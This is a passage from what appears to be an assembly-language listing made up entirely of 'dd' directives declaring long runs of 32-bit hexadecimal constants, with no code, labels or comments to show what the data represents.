		dd 4924F036h, 0C300DCB6h, 77B4C740h, 0CF660Bh, 5A235432h
		dd 0B0871E9Eh, 2998E400h, 771BD69Fh, 0B9310035h, 0E1169B25h
		dd 33002C5Fh, 5AF20A3Bh, 0C7902012h, 9691C00Ah,	63D214Fh
		dd 1AAC9F32h, 80C86B0Bh, 3DEDA538h, 4C317183h, 940F4A7Ch
		dd 0B44E5F24h, 167B3998h, 0DB7C1F74h, 0F12F5D00h, 24A601A8h
		dd 0FF7034Fh, 9E471623h, 775A2006h, 7EDA85D3h, 0BEEC05D2h
		dd 0C0C7B420h, 0DBB5404h, 38A70E18h, 3B89151h, 937DBAF8h
		dd 58B813B5h, 0D001E688h, 2C974708h, 898F8D34h,	0E0073DDBh
		dd 0BF11BC9Ch, 8974CA0Eh, 0A32F8FF6h, 0A31272DEh, 0EC210159h
		dd 4E567382h, 6CF7D8CAh, 8DC77E00h, 83779F0Fh, 89846017h
		dd 0C4286366h, 79939B00h, 7D0EC1CAh, 1B50EA29h,	388A276Bh
		dd 1E48023h, 0F6C574CEh, 884A18AAh, 7400C6C0h, 7763550Bh
		dd 10E1E41h, 0B517A07Ch, 405906A6h, 4DF224E4h, 9FC09E50h
		dd 2763FEF8h, 23318h, 0CDCFA049h, 0BC3D48E8h, 0BF314D7Eh
		dd 0AD2D389Bh, 0DBB9A880h, 0CDE11339h, 808A893Bh, 5BE2DD01h
		dd 0F214C274h, 0F4D2003Fh, 0D144ED16h, 0B5513E8Dh, 6932F0B6h
		dd 397EB4F8h, 0BE2A907Ch, 0A0210C46h, 89B208DBh, 10245442h
		dd 21848ACEh, 0BA11425Ch, 4DEF910Fh, 0E30C0450h, 0EA019746h
		dd 0D1398331h, 0FE92608Ah, 1724CC06h, 2111DDh, 477AFDEBh
		dd 39BED32Bh, 4A6B51C1h, 39803364h, 278C6E8Fh, 66780817h
		dd 0F0112825h, 0DC61944h, 10987014h, 28D4799Bh,	78082068h
		dd 9991227Eh, 3E47C300h, 4D887F50h, 4E890C02h, 0EF79FC55h
		dd 0CD1BE801h, 34B79016h, 330080BEh, 0AB4A6371h, 80E367Ah
		dd 0A338F077h, 0E901F50h, 2A0F1A38h, 0CAB19E0h,	9700C8E6h
		dd 8AD631FCh, 1FEE79B4h, 0FDA8FEh, 64BEAC3Ch, 1C00F811h
		dd 4FD6038Dh, 7F65A7h, 625D1F59h, 2E618422h, 11393Bh, 0A88EE067h
		dd 3DC9293h, 35867888h,	0A2C8CC9Ch, 0A3038301h,	0A95AA733h
		dd 0F7B89854h, 6FAF0E1Ch, 1020B9B3h, 5FBE4CCCh,	0AE7DA607h
		dd 0D5C76362h, 20B2C60h, 9F1601D1h, 0A8934F67h,	0FF1A709Ah
		dd 0C2764A00h, 5B19E656h, 100B269Fh, 2AAE0602h,	753848A7h
		dd 51A980DDh, 21062CF1h, 0F94700A4h, 0B0DF6A61h, 54006BF0h
		dd 0C78C983Eh, 19E6643h, 865EC5A0h, 24924D32h, 87009F0Ch
		dd 0ED05A7ABh, 76EE03h,	0AACD0866h, 9AD2CDAh, 1EAD34Ch
		dd 8DFC57D4h, 10919A62h, 0BFFD2612h, 0FF96DF00h, 12EEB547h
		dd 2090C7C3h, 0CF4F3C40h, 694B4503h, 0FE3A3Eh, 0F4943939h
		dd 0C89AA1BBh, 0A300BCF8h, 1E745153h, 0FA9C96D5h, 15830029h
		dd 0CB1442DCh, 3A0021AFh, 0BEAE7F46h, 1368D556h, 0AA524F6Dh
		dd 9F055000h, 13FB3D45h, 0B69965Dh, 0CF80F647h,	0AC51903Fh
		dd 582B7100h, 0CF6D5215h, 472E0022h, 0B42FEBB3h, 0D7007F25h
		dd 897DC0Ch, 7954117Ch,	1F280FDBh, 67006B84h, 73245C33h
		dd 103E087Ch, 7E708094h, 0FFEE8864h, 0F5C9007Ch, 4B6ECBB1h
		dd 0E764699h, 71754700h, 40E03DE8h, 0C0DE38B4h,	17C14D83h
		dd 43D0D7D6h, 0C700A89Eh, 655F48F9h, 39557B7h, 26C67608h
		dd 70E07782h, 27B51B5h,	0CE0D3400h, 12DEC5B3h, 811800A8h
		dd 134C87FFh, 0EF1F5DE2h, 65C1DB6Eh, 0B3FBBE1Dh, 842C4CA4h
		dd 0C0CCEAB1h, 0B2E646B8h, 2C87A100h, 88D62DFBh, 3AC4035Bh
		dd 9BF3D78Bh
		dd 32182AE0h, 6C96B224h, 3781F580h, 3F87BEh, 7F923A9Eh
		dd 0BB710C46h, 439D5400h, 7B3CCED4h, 0B7FA0960h, 0E000171Dh
		dd 0DCEE6B61h, 0A333220Eh, 2A83C2C9h, 0CB8EE0BFh, 0FE9C3BFFh
		dd 13B71100h, 0B9D97CD7h, 89839h, 0A7A035ADh, 96FC12h
		dd 58738D89h, 254B26CCh, 0B89044B0h, 0E1712E0Eh, 563520F7h
		dd 24D449C5h, 7C83B9h, 59A3F7Ah, 3B00D95Ah, 57D30D36h
		dd 9BBDFDh, 5CC2F890h, 2538D22h, 3D03EB07h, 0A120A785h
		dd 2EF78Bh, 63E94C0h, 0B6D4341h, 74EA2B00h, 8EDCD4BAh
		dd 68C500F2h, 5C678644h, 0B1F88F76h, 30182358h,	0CEA28031h
		dd 0F0550188h, 0BA3287FDh, 8A8C2009h, 2518D80Fh, 0E380DE1Eh
		dd 0A3D93E91h, 0FE7A0013h, 0D641EE87h, 5300B9B0h, 3E7C1A8Bh
		dd 7170EF6h, 0F2A4678Eh, 387DF081h, 92160387h, 771CA24Ah
		dd 0ED2B9145h, 0F341C600h, 7D518A9Eh, 19A767D5h, 0EC5DB2BBh
		dd 0FD46BA80h, 487CDC39h, 0AB3F042Eh, 5A12A00h,	3F335FE2h
		dd 141EA211h, 0A48507BDh, 4D8AF0A5h, 7A00CBEDh,	24307F61h
		dd 0CA26DCh, 91C1748h, 1ADD3F3Eh, 64A5B8C0h, 0E0D00Ah
		dd 13D31EE4h, 4DA3BB7Fh, 0FC495D00h, 6D0821BCh,	188F00CDh
		dd 5DCA24Ch, 58920C65h,	0E300A7FEh, 2824CE94h, 27F088h
		dd 0B2530306h, 0A498406Ch, 0D7612E00h, 0B6E29B34h, 0AAF38E6h
		dd 99BE0600h, 0D64BD236h, 8E431000h, 9451357Ah,	9D1B00D0h
		dd 53C9E87Dh, 86009221h, 0BE85EB13h, 13B9FF11h,	418D9D3Ch
		dd 0BD5DBA4Ch, 0A61EF472h, 0FEB59F05h, 30C01CC7h, 0B9955Bh
		dd 9CB876FDh, 1EF05FA0h, 0AE609209h, 0F10155FBh, 601BFEEAh
		dd 300F3872h, 0A181DA59h, 0C55ED37Eh, 1258C6D8h, 40D049C4h
		dd 0C8A50B0Ch, 1600B077h, 725BDCDAh, 49B2DDD5h,	58008C9Eh
		dd 0BF16C12h, 0D300925Dh, 3D56666Fh, 388D3F35h,	2034A1Eh
		dd 0AB4FCCDFh, 91C781F8h, 61D12402h, 60569AA9h,	185579C0h
		dd 79B44945h, 0B2063EA8h, 87F72F35h, 0D6370068h, 8859D59Eh
		dd 0B6FEA546h, 73B7B409h, 0FC480024h, 9CE826h, 0A99E3CA8h
		dd 12D2CC80h, 79F36200h, 916D8211h, 0EA42000Ah,	9771BCE2h
		dd 0DA0E7BEFh, 0E08CD95Ch, 3180C11h, 903226F3h,	0AA85072Ch
		dd 2CD11005h, 6A0042D3h, 1578437Dh, 1933C2Bh, 0AC129935h
		dd 201F4CDBh, 2900D568h, 3F3D114Eh, 7374100Fh, 0F1C400A1h
		dd 8E6B5DE6h, 450063C8h, 866A29B6h, 7A4CF99h, 14EE2E77h
		dd 329B308Dh, 0E400F344h, 3438DED9h, 2D3DC7h, 8295B7BBh
		dd 0A3024B6Bh, 0E3D04300h, 0E7EE9123h, 0F2762615h, 0C500380Fh
		dd 3A52847Fh, 27011241h, 0B2B87461h, 66F4A72Fh,	8F3100BBh
		dd 9C017EF9h, 0A00081E2h, 0B362DC19h, 1F1638FEh, 804B700Dh
		dd 21EBDE2Ah, 0D52EF726h, 280B53E7h, 0FD4C8069h, 0C33BD2h
		dd 0F3C84E1Fh, 0A0BEDC9Fh, 373E1000h, 0A8696050h, 22D40055h
		dd 0B1DD7B02h, 0F00BA4Eh, 405BD148h, 2C8EA65h, 0F0470792h
		dd 996070C9h, 3800EE68h, 21520AD5h, 6B0394h, 9D06F21Ah
		dd 845DDF4Ah, 6830B500h, 18BF9BA0h, 0FDDB0002h,	8FD3A135h
		dd 0A5008588h, 6D7023EEh, 171D102Dh, 40E82904h,	4F8047E0h
		dd 46244075h, 86005455h, 0FBAB2C85h, 33B30B37h,	6B809CC7h
		dd 0F8448C9h, 0A19DC607h, 0A520DC36h, 3C4EE4FEh, 4F805D07h
		dd 79300F4Dh, 460B0E7Ah, 90819996h, 736354h, 6771B1FCh
		dd 0FAB7CEA0h, 1DB85500h, 8DC83A01h, 0BD740043h, 2B088B91h
		dd 83016C5Bh, 89379364h, 8029C7F4h, 20081F1Dh, 66715606h
		dd 50851A5h, 683F5467h,	40101C4Dh, 9B17C603h, 11003E85h
		dd 0B2F89E23h, 2D46C40h, 0E82F6D21h, 0B560A8ABh, 71CED69h
		dd 6403A97h, 0E454956Eh, 0E3B21B09h, 99C050B7h,	0C18BC66h
		dd 591C69Eh, 3E742009h,	7805B1F0h, 66358C6Dh, 13D2ADC0h
		dd 31CE01FFh, 0BCE8C16Bh, 17D1F0F7h, 0EF6D8B01h, 0B9774B1h
		dd 0C7F95841h, 3E9EC0FBh, 853300EBh, 0B9A81157h, 0DCBA8DADh
		dd 38B50928h, 6D7B2B00h, 23F25083h, 247862h, 0C23A4AE9h
		dd 149D8461h, 3248431Eh, 34C0E29Eh, 0CF72A93Eh,	65B1000Eh
		dd 186342F2h, 0A81DC871h, 5501F096h, 3F17936Eh,	10A7CCh
		dd 0B287AE61h, 0FF955D24h, 8F002073h, 0BBFA31BDh, 70A040Fh
		dd 43F2C6BCh, 0A95FC08Bh, 0D1078851h, 27A7CE9Ah, 32F82550h
		dd 0CE9C0D3h, 9095FC06h, 33F9DE00h, 369391E9h, 0A5C700ADh
		dd 79CB9741h, 0A4FE8C5Bh, 3220B001h, 76F09F4h, 0EC62F0F7h
		dd 43154C01h, 2036B00h,	5F1C4734h, 0CC10502Ah, 3BBB901Dh
		dd 607399C0h, 0B6A99AEDh, 51B601BFh, 30C377A1h,	95CC57Bh
		dd 65D62EB8h, 4C056317h, 0B0408D74h, 0A8A5E0DCh, 7D470005h
		dd 0A650BD54h, 0F51876AFh, 3ED1220Dh, 757A90BBh, 0FFC3F8D9h
		dd 0E4BD1980h, 47B78568h, 8C89023Fh, 0A08769B5h, 0A91832F5h
		dd 0C8440729h, 93CD430Fh, 0C0CF071Dh, 0A7E6ADB0h, 85550074h
		dd 65B0364Ah, 8C1DEEC3h, 0D3C306DEh, 3F6E73h, 254DA649h
		dd 7B3935A4h, 602C361Fh, 4001D41Ch, 0A52D46BEh,	71C2DCh
		dd 4E8925BCh, 874164D2h, 0DF00DE90h, 96D624BAh,	98F040C5h
		dd 6EB30ED5h, 0D5813B8Dh, 0CCD469C3h, 4601891Dh, 0A9C1252Ah
		dd 288017F4h, 65B7A3D5h, 1106856Eh, 6902BDFh, 0C1A13108h
		dd 0C47F4D20h, 1F00646Ch, 28DAD38Ch, 79F2A61h, 0EB923AEh
		dd 0C351F37Dh, 58353000h, 4A0B10F8h, 0D0BF19C5h, 0BEE60852h
		dd 0F8E09C21h, 0EC5EE841h, 5450642Bh, 837EADh, 0FC77BD26h
		dd 4AF4F243h, 0CE95F07h, 0BFA0DB27h, 0CE16906Eh, 0BA860F31h
		dd 61F0A97Bh, 586AF71Eh, 12B1F680h, 0E888FF2Dh,	7C21C308h
		dd 0B44091AFh, 9500C9D5h, 0A95B0A73h, 74B6AC66h, 2FCE0024h
		dd 0BFE987CCh, 9428B29Ah, 0D40230EDh, 0B9151873h, 0C00840C2h
		dd 71A903C6h, 5B5F611Fh, 8B07EBD9h, 8E05E2E9h, 270486AAh
		dd 0A122F841h, 55186298h, 0B11F808h, 0DDFF70E2h, 309DF800h
		dd 0E5699CCEh, 0E391CF08h, 0DC6D38E0h, 0DD0B04F2h, 80B41CD7h
		dd 69FDCA10h, 0B81701EAh, 1234C350h, 0C943D3D4h, 280CEB04h
		dd 0A810396Ah, 0DC46E11Fh, 701E1900h, 0F403B09h, 0B2C4A3A9h
		dd 925872E9h, 0D303FCEAh, 0AD06C3F0h, 0DD29004Dh, 70B2C0EEh
		dd 7571A40Ah, 86539F0Eh, 379BC0D7h, 0AA3EE8h, 0B6F1B328h
		dd 0B1DA9ECh, 146F8F00h, 0E00E6C81h, 83453E84h,	4690F9Ch
		dd 802070EEh, 2ABFF677h, 59755B00h, 9612451Eh, 9FE10F83h
		dd 15600ECDh, 0AF57930Ch, 386380B5h, 8E7036h, 0F095A61Fh
		dd 51B7F98Dh, 24D2E001h, 20E2657Ch, 53926C0h, 1B58D86Eh
		dd 9C4E8155h, 0A15DC8A0h, 0A25339h, 8935D42Fh, 3023DDh
		dd 0F41C55C3h, 870D40D0h, 8487500h, 251EC25Ch, 978D0115h
		dd 7D7434E4h, 0C789CC2Ch, 1C11EF3Ch, 0E700E39Bh, 167B6329h
		dd 0C05803FBh, 0EEC18238h, 0E47268C8h, 0A8000F7Dh, 318BA9A0h
		dd 95DB50h, 75A132AAh, 4B458D2Eh, 0E4DE2D01h, 0AFB54E64h
		dd 0E1158C52h, 0E230D0A0h, 28F53878h, 0B8AA1D80h, 0F72E6618h
		dd 0E200F6FAh, 3A67ADD5h, 9D39Fh, 0E5C10FF2h, 4BBD0670h
		dd 6C6D7600h, 49DF0EFDh, 86970055h, 7ED643BEh, 487AECC9h
		dd 2E15Ch, 0FFE8C728h, 270AB6h,	7381C3B2h, 0BFD1FD9Fh
		dd 90A4F102h, 48B58836h, 541334h, 8414F272h, 0CF977AEh
		dd 0BB75300h, 0B4C889A5h, 0BCA90F94h, 1C4B54C2h, 0E4573880h
		dd 820C9C7Ch, 6A0377A6h
		dd 74690028h, 0AFE676B2h, 0E100C039h, 66F1053Eh, 0E31E42Ah
		dd 0EEABD223h, 0D1241EC3h, 0DA89BCCBh, 206182E0h, 23E53ABBh
		dd 36E8D6B8h, 12249BFDh, 0C8B88CDEh, 0DDB20002h, 783CA26h
		dd 21B90001h, 0EB456E2Ah, 38070A0Eh, 0C3AEBEACh, 9D576C10h
		dd 0CC4ECB8h, 275B4766h, 95038EE0h, 2637F3DCh, 0D0DEC9FEh
		dd 0DB091880h, 0B5FAD05h, 80F76C00h, 2E915B04h,	471A0036h
		dd 53921009h, 0D860A5F5h, 0EF17F8D8h, 63A8C0ECh, 7E54318Dh
		dd 5CD1E100h, 0EA793E88h, 9A2A0FE7h, 5D3F6C8Eh,	0F0974009h
		dd 1AC85160h, 0A28C2400h, 2DF598D2h, 244004Fh, 0A741BBC9h
		dd 6F004C81h, 8C529ADBh, 2CA9D684h, 80647B80h, 0DFEB34CEh
		dd 0B544385h, 0AF128D9Ch, 0FE023ACDh, 7F4FE7BDh, 302A6F07h
		dd 82AECBBEh, 443BC200h, 0E552CC7h, 9C283C84h, 0D9870074h
		dd 204E67B8h, 46791986h, 3C98F9E6h, 6340C100h, 0F3A3662Ch
		dd 0C0587D1Ah, 0B2769870h, 7B03C30Bh, 280ADC20h, 58F290B6h
		dd 0C8A402EAh, 0FE925401h, 0D23272E0h, 0BE01A9D6h, 0EB1BD715h
		dd 30C5FDF8h, 6748D130h, 0F700B959h, 40E91C14h,	0CA0E8FBFh
		dd 205C36F0h, 312FA14h,	3797C89Dh, 90A4585Ah, 0A855CD60h
		dd 0ECAB2AF6h, 0F2034BF8h, 0E40C4FE8h, 89E787BEh, 42DB01B3h
		dd 1BA4E8C8h, 6E38D803h, 0BE8F6C00h, 2598338Dh,	0A30A013Bh
		dd 3157F390h, 0D58244Ch, 6849C009h, 2BBC00CEh, 78AF93Eh
		dd 1E6CA3BBh, 2882F66Ah, 0F5676800h, 0B92A8687h, 0E85900C3h
		dd 0B5701819h, 4E095890h, 20BF69B8h, 0F37C4C6Ch, 3E2A00EBh
		dd 3A2B3575h, 6C076A8Dh, 0B787907Bh, 0D69CC8FAh, 0A0CFD2C0h
		dd 14CAC0C4h, 9034E0CDh, 0A9534D86h, 49707901h,	0B59BF759h
		dd 5655E8h, 71857FDAh, 0EA4302B2h, 0D580CA51h, 0FB3404Bh
		dd 180078D5h, 66C304ECh, 625E6A1Ah, 622F79A1h, 0D0E80443h
		dd 9803ACFAh, 99B21847h, 3C419D04h, 8727C2Ch, 1A62B450h
		dd 86340209h, 2FA50EA8h, 0C4BB3C41h, 3D1EFB2Ch,	13C1E3BDh
		dd 9503716Eh, 52443AFCh, 7980D857h, 8A244705h, 37B72D00h
		dd 8E7A2B5Fh, 4D160058h, 8093F7EFh, 0FB601E1Bh,	476391B1h
		dd 0D4ED09C5h, 80094A7h, 4E3A5230h, 13941958h, 0B4006DBBh
		dd 16CAC1EBh, 4537389h,	83766699h, 0BD7C8879h, 9CE0CC00h
		dd 0C415D5FCh, 2D4B214h, 60CEE92Ah, 404034FFh, 0C73F619Ch
		dd 12707FFBh, 0D9E4F200h, 0F2E4996h, 0EC99FE2Ah, 0D471A0h
		dd 57F28F91h, 0DD92C76Bh, 86CF7509h, 9E5C2053h,	8AF34C30h
		dd 20552C87h, 5CC3E99Ch, 2497E801h, 3259EC07h, 873FE834h
		dd 22D7CD02h, 4674481Ch, 40B8009Ch, 1E264B90h, 0AE0057DFh
		dd 0C1A02AA7h, 0FD3E89Dh, 0E42B6AB1h, 0BAEBA583h, 0C95BEAA8h
		dd 0DC857728h, 2300297Dh, 0B93BC7BFh, 745826E1h, 0F92F0020h
		dd 9A2B7BD5h, 5D17B546h, 3400E5F8h, 10BC92ADh, 63D50055h
		dd 5E32C868h, 98EC5929h, 80C1FE03h, 9F575653h, 4588ED81h
		dd 25AA6E4h, 585BAB12h,	0E4C05C0Ah, 0CC00A3F5h,	0A552C049h
		dd 1E2060F2h, 80D26CF6h, 2A58C470h, 0BF68DEFh, 6C980F26h
		dd 9BC9A480h, 29A221h, 0F1E7BA37h, 0FE6EEB7Fh, 4F45B07h
		dd 25B00286h, 0BFBC89h,	75698868h, 0B710B650h, 63779D04h
		dd 0CCC373F3h, 40CF9272h, 0E64F00h, 0D5CBDB52h,	0EEA9D337h
		dd 30835891h, 9822812Fh, 0C4E82h, 55B1C7A2h, 7D87A309h
		dd 74E3D600h, 3C71C2EBh, 0CECB09CDh, 480072F3h,	0E04A8957h
		dd 93500A77h, 0EC001BE4h, 0F57FB983h, 7C9CB609h, 32A9006Ch
		dd 0C4F1754Fh, 823F6F2Bh, 5BB8806Bh, 9F6A5CBEh,	4E74A7h
		dd 1499EFCBh, 83C1E41Eh, 588C9407h, 6CF13CA4h, 8AFC299Eh
		dd 203160D8h, 0A5478BBEh, 545ACB00h, 49344422h,	976E00C6h
		dd 0AAF3D98Eh, 9E1E2965h, 0F700E0F4h, 4499411Dh, 5EB20426h
		dd 0B00A77EFh, 54B2210Ch, 0DE4B8E01h, 79DD936Fh, 473020h
		dd 3BF0EF9Ah, 1F29B526h, 0A600C079h, 7DB86C81h,	9E19B8Dh
		dd 0AE9C3442h, 0FDBD2C80h, 2505CE1Fh, 0D165C7EDh, 8912C480h
		dd 0FADC7969h, 0D8050309h, 0D56D25F5h, 600D85B1h, 2D00EF20h
		dd 891DE96Fh, 17BE9Eh, 0FA8DC975h, 0DF48B549h, 76AB1800h
		dd 3A1962AAh, 0C2090B84h, 702015DAh, 0FDCDBB55h, 485C59h
		dd 0D8E82247h, 2C3460h,	452F1A93h, 4AD17C1h, 6D75C8C4h
		dd 9360F8C9h, 15442C62h, 0F4CF08ACh, 40C0DE9Eh,	97805055h
		dd 113B0B34h, 86DC51A9h, 0CDB90Bh, 0B384F930h, 2C0F49A4h
		dd 0D780743Bh, 0FE58A20Bh, 4200BBA7h, 9162E8A9h, 2683F4C1h
		dd 1084A806h, 600093E5h, 0DA036AEh, 1A8305E2h, 98A7B3h
		dd 649BECC4h, 6000A380h, 6D020B8Ch, 6FA4C0h, 33E61663h
		dd 0E1062EE0h, 73528409h, 784800C6h, 98DCCED3h,	0F87150h
		dd 60BBFD59h, 291037Eh,	1100FCE6h, 758EB93Ah, 2569EED3h
		dd 6C20C17Bh, 87CD76B2h, 4CBC5100h, 0B7027730h,	97250B39h
		dd 54B00ED6h, 37EA1A94h, 52B20912h, 56F20880h, 54C4789Ch
		dd 1ECB949Fh, 8394BC42h, 3455B5B9h, 0E1871909h,	0B0EE88F5h
		dd 517905BDh, 64D05BA3h, 0B150949Eh, 0FAB80078h, 487EC6B6h
		dd 1E0AD58h, 77420544h,	6FF0547Ch, 0BEFE487Ah, 44000452h
		dd 5635E091h, 8E00D37Dh, 4D2790E4h, 0B80DE8B9h,	0C83B4CCBh
		dd 0C22F1CC1h, 17EC32DCh, 9074FD3Eh, 7A2DC700h,	91DBBEh
		dd 7B9A2FFCh, 4690270h,	2243AE00h, 5407A54Dh, 0BB183BA7h
		dd 2652518Ah, 70127B5h,	8074C42Ch, 7873FE70h, 1C487CFFh
		dd 0CFA38ACBh, 0F4E1D24Ah, 48B1E0E4h, 0F7042D7Ch, 9DBA5EBBh
		dd 0A0830EFBh, 7D267E40h, 5A004850h, 54901C85h,	5C27862Bh
		dd 0E400F81Bh, 63804D83h, 0DD001053h, 0FA029222h, 2C47C8A9h
		dd 1028C0Fh, 72372DF2h,	0B19882D1h, 40575820h, 0D33ECh
		dd 438F2BBEh, 79F8CF8Bh, 0A0857C09h, 0EC6000F2h, 0C5FAAC19h
		dd 45C4D038h, 0D0CE9694h, 6FAE9BB4h, 94A4E717h,	99DDFC21h
		dd 71240020h, 0A0A9073Bh, 4CA673h, 777D52A7h, 83782538h
		dd 5AC658ACh, 682788FAh, 0B73E0049h, 0DB54EF9Fh, 3C48A198h
		dd 31D00038h, 0B0CE1670h, 3609004Eh, 0F244E463h, 8C034BFDh
		dd 0C32E4293h, 0D748C8E3h, 456A00D1h, 0CA310C11h, 0C1072695h
		dd 657383CCh, 34C0A044h, 0F2120602h, 774726D6h,	512054FCh
		dd 21C8000Dh, 4AC47A14h, 0B0F21207h, 65A77400h,	0F128D12Ah
		dd 0C04307A1h, 15876018h, 5700EB49h, 3BC5DDAFh,	0ACD9016Ah
		dd 0D0135CB6h, 0B9DE01Ch, 0A1ABF407h, 87A38C98h, 3B22B0E4h
		dd 837800BEh, 0C2C30857h, 8F3DDED2h, 4F9C806Ch,	0B15F9E2Ah
		dd 0FCF7010Bh, 0B65A910Fh, 0C1B330A3h, 0FDD2B42Eh, 0CEE7FE00h
		dd 5D88EAh, 0E20542A2h,	0AB81E865h, 0DB55220Eh,	0FB0B4049h
		dd 1BE3AD4h, 1D147B0Ah,	0CCE17C9Dh, 0C091B05h, 632821F6h
		dd 2AB8D8E4h, 650E0301h, 78D84452h, 56F06D8h, 0CB195E00h
		dd 0D2926ABBh, 518F18F1h, 2C0BB4CEh, 44B3BC00h,	99ACBBB1h
		dd 1470F015h, 0A44579B5h, 0AA26D600h, 0EF7A8BD8h, 6C93EE24h
		dd 832314h, 0F8E9B1CAh,	574825Fh, 8727D98h, 0E6E018DEh
		dd 4700C066h, 0EE449792h, 96B0B60h, 222918FDh, 1C8E3100h
		dd 3A00ABC4h, 445D0F50h, 350989h, 2CBA4F6Ch, 6273A6F2h
		dd 959CE301h, 3B151EC3h, 2EFB4030h, 3CF0BF35h, 9E3D245Ch
		dd 68369F80h, 0A3691015h, 0ED0C1D1Fh, 6178CF40h, 28749h
		dd 30B87B40h, 0F0E3CCDh
		dd 0C396E00h, 0EE075122h, 0BD0807A5h, 0FE3D013Bh, 8D4E4180h
		dd 889CE58Fh, 0AAA8BB41h, 6A19E828h, 27E15265h,	5EFB074Ch
		dd 0D0100431h, 966A923h, 559C4D6h, 41375400h, 0F77F99CCh
		dd 3B176400h, 6D5FAB10h, 66DC00BCh, 8732559Eh, 520060AAh
		dd 432244D3h, 46085Bh, 3FB56E7h, 51D21186h, 0C6A5D133h
		dd 74FFD09Fh, 3849C5Eh,	0E19D5FE9h, 23A928C0h, 0B6F05A01h
		dd 0A72705ECh, 0DD5C70h, 0F13C480Ah, 5C98526Eh,	269EB00h
		dd 2E2230F0h, 25CD003Eh, 9C0C5BACh, 5E00FAD1h, 0F51F2ABBh
		dd 8D62BCh, 6B7AA7DCh, 0B56C8B5Dh, 876E943Ah, 3CB2DEBBh
		dd 0D4A600FEh, 9AE8C349h, 0CDE30034h, 7F233B0Dh, 64000EEDh
		dd 0D7F735B5h, 3832D22h, 300F73FDh, 59834ABh, 0CF00C92Ch
		dd 8F2ABF86h, 2845E346h, 4BC2EB6h, 6B3155E2h, 37E78048h
		dd 0D3002FEDh, 0B2829101h, 0B8DE8Ah, 380B9FF3h,	0D7243574h
		dd 0D819FF24h, 2A99BF00h, 0CBF592h, 67B87A91h, 0F22DBA2Eh
		dd 7DAB4700h, 9EE121D9h, 6E81CB1h, 0D46CF028h, 453FCB6Dh
		dd 4CCA01FBh, 11C6B91Fh, 8700082Ch, 32C710Ch, 6816E74Fh
		dd 0DC00CB50h, 0D8B0B1CFh, 13A7000Ah, 0FD718C2Fh, 0B3021B0Eh
		dd 0C0FA9C15h, 80ACE0DEh, 58F2AEh, 0D21243B5h, 0E0C94C8h
		dd 0CBD4A41Dh, 8FEFB080h, 0B099BC31h, 89D61F13h, 3EA1004Bh
		dd 0A0311A7h, 1D37FB00h, 0AA9C226Bh, 794A0093h,	7B8B70CDh
		dd 0D61D9996h, 514E12B7h, 63042017h, 38301065h,	1D16E9DCh
		dd 3B904162h, 0F8B750A4h, 0F8002998h, 6D8F34A2h, 188E15Eh
		dd 4EFDE46Ch, 0E03CB30Bh, 2D003F94h, 36E7A5D5h,	2DFF804Ah
		dd 0DC80BEA9h, 5B0C4F5Ah, 7DFB9926h, 0E4AE0B00h, 9EB51h
		dd 914B9D29h, 0DB26E5E2h, 1C247900h, 2E32777Ch,	0D4891DAAh
		dd 0A2B3C0ADh, 95D8FEBFh, 0B11FAE00h, 532DF6Fh,	94190082h
		dd 475B97D7h, 0F30039A5h, 1C66D553h, 0F07714A3h, 0C2E00028h
		dd 9992A47Eh, 1A00D6BEh, 88A6F7D8h, 0BE6D3F9Ch,	92D50698h
		dd 0FA00209Dh, 208F7C5h, 0C1FA8D8h, 287FBCB7h, 0D03AB3D0h
		dd 30EFCFh, 5A884690h, 0D5D0B7BAh, 10792A17h, 6AE06F07h
		dd 86DF3ED0h, 1918A0D2h, 4834671Fh, 0B8F2F0E0h,	1201B1BEh
		dd 8C18BA89h, 7987B3C2h, 40DB13E2h, 425A8B8Fh, 0C2407E50h
		dd 0B0A20C0h, 5021BCA5h, 86C54C2Bh, 9A5640h, 0AEBAE3F2h
		dd 0A1C4638Eh, 0CCFC9E00h, 93F8B5B6h, 2A470005h, 918D8112h
		dd 0E517678Ah, 10090ABFh, 5DEC409Fh, 0D5310F7Ah, 89E12248h
		dd 9FD1A693h, 15801C69h, 66AC598Ch, 0CA38008Ah,	0D287164Bh
		dd 560088F9h, 3E0639F3h, 24E0D5C1h, 810CA599h, 0A4CF6ED3h
		dd 25EEC0C7h, 0F7E8381Dh, 2480CB13h, 7BD217F8h,	0A7D6000Fh
		dd 4BD3C63Fh, 2A765ADCh, 635B903Ah, 1ED0B58h, 9B81E130h
		dd 0B7D5A7AFh, 78CDA118h, 0D2F530FAh, 18C7A108h, 40D464F1h
		dd 0FCD2BAE5h, 0BCF425E0h, 0B15EAC00h, 4972180Ah, 80CAC03Dh
		dd 0F7041E7Ch, 681B46h,	4BF63B03h, 57400D88h, 0FB11C8A8h
		dd 107E9B01h, 54CABF0Ah, 0EB8190DFh, 28730188h,	0FF860C4Ah
		dd 88904FCCh, 0A235C0BCh, 6D006EB3h, 0DA5D3D1Bh, 79BE99Eh
		dd 11548923h, 0DA730D7h, 4B3AA52Fh, 9461808Eh, 7BB2C14Fh
		dd 0A8C25017h, 6D82178Ah, 7D900098h, 0FD3F743Ah, 86617100h
		dd 1BE8225Bh, 79FBE8DBh, 7B3730D0h, 0E829D5Ah, 0F1A1EB00h
		dd 7A6F3467h, 8BF005FAh, 0C0C168F2h, 551E65AFh,	71C4F02h
		dd 604DB43Bh, 0F2580CFDh, 389B0012h, 77933708h,	0D107A3EDh
		dd 3931D8B6h, 0D7D02863h, 8CB96520h, 1F9B0082h,	12AC7D7Ch
		dd 4002D852h, 3F0981A9h, 6AAC40D4h, 0C5F60097h,	0FCB43FEh
		dd 9A0757FDh, 6C0A2346h, 0A99011F7h, 1DFA9E41h,	8A38F3h
		dd 142B5DE5h, 9C169331h, 3200B3C8h, 525A8DF8h, 845C0134h
		dd 2B6336BCh, 0E63BF050h, 7464CE0Fh, 0AA226180h, 88045A4h
		dd 4FF18A2Ch, 19FEC2EDh, 7363D000h, 0D41371E0h,	58996284h
		dd 0DE0F89F5h, 2662D35Ch, 1944A968h, 0ECC2110Bh, 8D07481Fh
		dd 0C54751FEh, 0C0C3080Ch, 1FF9E221h, 6B12EFBFh, 3803A0F0h
		dd 38BFACCh, 47A62221h,	980020AEh, 0EDE74BD0h, 3BF460BDh
		dd 9EC85D6Eh, 81AA2862h, 172C4DC0h, 0F4F2183Eh,	55B24A1Ch
		dd 0B3124087h, 0E0A28DCh, 369BF686h, 0E37E7323h, 5D060900h
		dd 0DEA2253h, 0DEA807F7h, 706BD5h, 69954644h, 0FF083501h
		dd 9EBDEBC0h, 0ADB38180h, 699440DCh, 18EDCB3Ch,	0AA485874h
		dd 4A01007Fh, 0E637B063h, 170097C7h, 0D4CA4461h, 0F0C628Bh
